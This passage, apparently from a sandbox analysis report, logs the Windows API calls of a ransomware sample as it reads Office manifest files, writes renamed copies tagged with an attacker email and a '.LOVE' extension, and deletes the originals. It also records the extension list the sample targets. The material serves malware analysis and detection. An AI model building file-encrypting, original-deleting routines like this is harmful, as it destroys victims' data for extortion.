dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0204.663] GetLastError () returned 0x0 [0204.663] ReadFile (in: hFile=0x31c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0204.744] WriteFile (in: hFile=0x348, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0204.746] ReadFile (in: hFile=0x31c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0204.747] WriteFile (in: hFile=0x348, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x13e, lpOverlapped=0x0) returned 1 [0204.747] SetEndOfFile (hFile=0x348) returned 1 [0204.747] CloseHandle (hObject=0x348) returned 1 [0204.748] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.748] SetEndOfFile (hFile=0x31c) returned 1 [0204.749] CloseHandle (hObject=0x31c) returned 1 [0204.749] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0204.749] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml")) returned 1 [0204.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0204.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0204.749] lstrlenW (lpString=".doc") returned 4 [0204.750] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.750] lstrlenW (lpString=".docx") returned 5 [0204.750] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0204.750] lstrlenW (lpString=".pdf") returned 4 [0204.750] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.750] lstrlenW (lpString=".xls") returned 4 [0204.750] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.750] lstrlenW (lpString=".xlsx") returned 5 [0204.750] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0204.750] lstrlenW (lpString=".ppt") returned 4 [0204.750] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0204.750] lstrlenW (lpString=".zip") returned 4 [0204.750] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.750] lstrlenW (lpString=".rar") returned 4 [0204.750] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.750] lstrlenW (lpString=".bz2") returned 4 [0204.750] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.750] lstrlenW (lpString=".7z") returned 3 [0204.750] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0204.750] lstrlenW (lpString=".dbf") returned 4 [0204.750] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0204.751] lstrlenW (lpString=".1cd") returned 4 [0204.751] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0204.751] lstrlenW (lpString=".jpg") returned 4 [0204.751] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0204.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0204.751] lstrlenW (lpString=".doc") returned 4 [0204.751] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.751] lstrlenW (lpString=".docx") returned 5 [0204.751] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0204.751] lstrlenW (lpString=".pdf") returned 4 [0204.751] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.751] lstrlenW (lpString=".xls") returned 4 [0204.751] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.751] lstrlenW (lpString=".xlsx") returned 5 [0204.751] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0204.751] lstrlenW (lpString=".ppt") returned 4 [0204.751] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0204.751] lstrlenW (lpString=".zip") returned 4 [0204.751] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.751] lstrlenW (lpString=".rar") returned 4 [0204.751] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.752] lstrlenW (lpString=".bz2") returned 4 [0204.752] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.752] lstrlenW (lpString=".7z") returned 3 [0204.752] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0204.752] lstrlenW (lpString=".dbf") returned 4 [0204.752] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0204.752] lstrlenW (lpString=".1cd") returned 4 [0204.752] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0204.752] lstrlenW (lpString=".jpg") returned 4 [0204.752] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.752] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0204.752] lstrlenW (lpString="AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 53 [0204.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0204.753] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2b1ff14 | out: lpFileSize=0x2b1ff14*=2147) returned 1 [0204.753] CloseHandle (hObject=0x31c) returned 1 [0204.753] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml")) returned 0x220 [0204.753] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0204.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0204.753] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.753] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0204.754] GetLastError () returned 0x0 [0204.754] ReadFile (in: hFile=0x31c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x863, lpOverlapped=0x0) returned 1 [0204.786] WriteFile (in: hFile=0x348, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x870, lpOverlapped=0x0) returned 1 [0204.790] ReadFile (in: hFile=0x31c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0204.790] WriteFile (in: hFile=0x348, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x13e, lpOverlapped=0x0) returned 1 [0204.791] SetEndOfFile (hFile=0x348) returned 1 [0204.791] CloseHandle (hObject=0x348) returned 1 [0204.791] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.791] SetEndOfFile (hFile=0x31c) returned 1 [0204.792] CloseHandle (hObject=0x31c) returned 1 [0204.792] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0204.792] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml")) returned 1 [0204.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0204.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0204.811] lstrlenW (lpString=".doc") returned 4 [0204.811] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.811] lstrlenW (lpString=".docx") returned 5 [0204.811] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0204.811] lstrlenW (lpString=".pdf") returned 4 [0204.811] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.811] lstrlenW (lpString=".xls") returned 4 [0204.811] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.811] lstrlenW (lpString=".xlsx") returned 5 [0204.811] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0204.811] lstrlenW (lpString=".ppt") returned 4 [0204.811] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0204.811] lstrlenW (lpString=".zip") returned 4 [0204.811] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.812] lstrlenW (lpString=".rar") returned 4 [0204.812] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.812] lstrlenW (lpString=".bz2") returned 4 [0204.812] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.812] lstrlenW (lpString=".7z") returned 3 [0204.812] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0204.812] lstrlenW (lpString=".dbf") returned 4 [0204.812] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0204.812] lstrlenW (lpString=".1cd") returned 4 [0204.812] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0204.812] lstrlenW (lpString=".jpg") returned 4 [0204.812] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0204.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0204.812] lstrlenW (lpString=".doc") returned 4 [0204.812] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.812] lstrlenW (lpString=".docx") returned 5 [0204.812] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0204.812] lstrlenW (lpString=".pdf") returned 4 [0204.812] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.812] lstrlenW (lpString=".xls") returned 4 [0204.812] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.812] lstrlenW (lpString=".xlsx") returned 5 [0204.812] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0204.812] lstrlenW (lpString=".ppt") returned 4 [0204.813] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0204.813] lstrlenW (lpString=".zip") returned 4 [0204.813] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.813] lstrlenW (lpString=".rar") returned 4 [0204.813] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.813] lstrlenW (lpString=".bz2") returned 4 [0204.813] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.813] lstrlenW (lpString=".7z") returned 3 [0204.813] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0204.813] lstrlenW (lpString=".dbf") returned 4 [0204.813] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0204.813] lstrlenW (lpString=".1cd") returned 4 [0204.813] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0204.813] lstrlenW (lpString=".jpg") returned 4 [0204.813] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.813] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0204.813] lstrlenW (lpString="AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 53 [0204.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0204.817] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2b1ff14 | out: lpFileSize=0x2b1ff14*=1261) returned 1 [0204.817] CloseHandle (hObject=0x31c) returned 1 [0204.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml")) returned 0x220 [0204.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0204.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0204.819] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.819] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0204.821] GetLastError () returned 0x0 [0204.821] ReadFile (in: hFile=0x31c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0204.931] WriteFile (in: hFile=0x348, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0204.932] ReadFile (in: hFile=0x31c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0204.932] WriteFile (in: hFile=0x348, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x13e, lpOverlapped=0x0) returned 1 [0204.932] SetEndOfFile (hFile=0x348) returned 1 [0204.932] CloseHandle (hObject=0x348) returned 1 [0204.937] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.937] SetEndOfFile (hFile=0x31c) returned 1 [0204.938] CloseHandle (hObject=0x31c) returned 1 [0204.938] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0204.939] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml")) returned 1 [0204.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0204.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0204.939] lstrlenW (lpString=".doc") returned 4 [0204.939] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.939] lstrlenW (lpString=".docx") returned 5 [0204.939] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0204.939] lstrlenW (lpString=".pdf") returned 4 [0204.939] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.939] lstrlenW (lpString=".xls") returned 4 [0204.939] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.939] lstrlenW (lpString=".xlsx") returned 5 [0204.939] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0204.939] lstrlenW (lpString=".ppt") returned 4 [0204.939] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0204.939] lstrlenW (lpString=".zip") returned 4 [0204.939] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.939] lstrlenW (lpString=".rar") returned 4 [0204.939] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.939] lstrlenW (lpString=".bz2") returned 4 [0204.939] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.939] lstrlenW (lpString=".7z") returned 3 [0204.939] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0204.939] lstrlenW (lpString=".dbf") returned 4 [0204.940] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0204.940] lstrlenW (lpString=".1cd") returned 4 [0204.940] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0204.940] lstrlenW (lpString=".jpg") returned 4 [0204.940] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0204.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0204.940] lstrlenW (lpString=".doc") returned 4 [0204.940] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.940] lstrlenW (lpString=".docx") returned 5 [0204.940] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0204.940] lstrlenW (lpString=".pdf") returned 4 [0204.940] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.940] lstrlenW (lpString=".xls") returned 4 [0204.940] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.940] lstrlenW (lpString=".xlsx") returned 5 [0204.940] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0204.940] lstrlenW (lpString=".ppt") returned 4 [0204.940] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0204.940] lstrlenW (lpString=".zip") returned 4 [0204.940] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.940] lstrlenW (lpString=".rar") returned 4 [0204.940] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.940] lstrlenW (lpString=".bz2") returned 4 [0204.940] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.940] lstrlenW (lpString=".7z") returned 3 [0204.940] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0204.940] lstrlenW (lpString=".dbf") returned 4 [0204.940] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0204.941] lstrlenW (lpString=".1cd") returned 4 [0204.941] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0204.941] lstrlenW (lpString=".jpg") returned 4 [0204.941] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.941] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0204.941] lstrlenW (lpString="AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 53 [0204.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0204.963] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2b1ff14 | out: lpFileSize=0x2b1ff14*=1261) returned 